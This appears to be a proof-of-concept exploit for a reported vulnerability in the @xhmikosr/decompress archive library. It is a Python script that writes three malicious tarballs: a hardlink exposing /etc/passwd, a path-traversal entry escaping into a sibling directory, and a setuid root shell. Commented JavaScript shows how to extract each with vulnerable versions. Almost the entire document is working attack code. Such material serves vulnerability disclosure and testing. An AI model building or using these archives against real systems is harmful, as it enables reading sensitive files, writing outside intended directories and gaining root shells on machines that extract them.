CVE-2026-53486: @xhmikosr/decompress Path Traversal, Symlink Escape, and Setuid File Creation

#!/usr/bin/env python3
# Generates three malicious tarballs that demonstrate each flaw.
# Requires: pip install python-libarchive-c  (or use the stdlib tarfile)
import tarfile, io, os, stat

# --- 1. Hardlink escape: expose /etc/passwd inside the output dir ---
with tarfile.open('hardlink_escape.tar', 'w') as t:
    info = tarfile.TarInfo(name='stolen_passwd')  # appears in ./out/
    info.type = tarfile.LNKTYPE
    info.linkname = '/etc/passwd'                 # absolute hardlink target
    t.addfile(info)

# --- 2. Sibling-directory escape via prefix confusion ---
# Output dir: /tmp/out   Sibling: /tmp/out-secret
# indexOf check sees '/tmp/out' as prefix of '/tmp/out-secret/evil' -> passes
with tarfile.open('sibling_escape.tar', 'w') as t:
    info = tarfile.TarInfo(name='../out-secret/evil.txt')
    info.type = tarfile.REGTYPE
    info.size = 6
    t.addfile(info, io.BytesIO(b'pwned\n'))

# --- 3. Setuid bit preservation (root extraction) ---
with tarfile.open('setuid_escape.tar', 'w') as t:
    payload = b'#!/bin/sh\nexec /bin/sh\n'
    info = tarfile.TarInfo(name='rootshell')
    info.type = tarfile.REGTYPE
    info.size = len(payload)
    info.mode = 0o4755            # setuid + rwxr-xr-x; umask does not strip setuid
    t.addfile(info, io.BytesIO(payload))

# Extract each with decompress (< 10.2.1) to observe the impact:
# const decompress = require('@xhmikosr/decompress');
# await decompress('hardlink_escape.tar', '/tmp/out');   // /tmp/out/stolen_passwd == /etc/passwd
# await decompress('sibling_escape.tar',  '/tmp/out');   // writes to /tmp/out-secret/evil.txt
# await decompress('setuid_escape.tar',   '/tmp/out');   // /tmp/out/rootshell has setuid bit set
print('Malicious archives written.')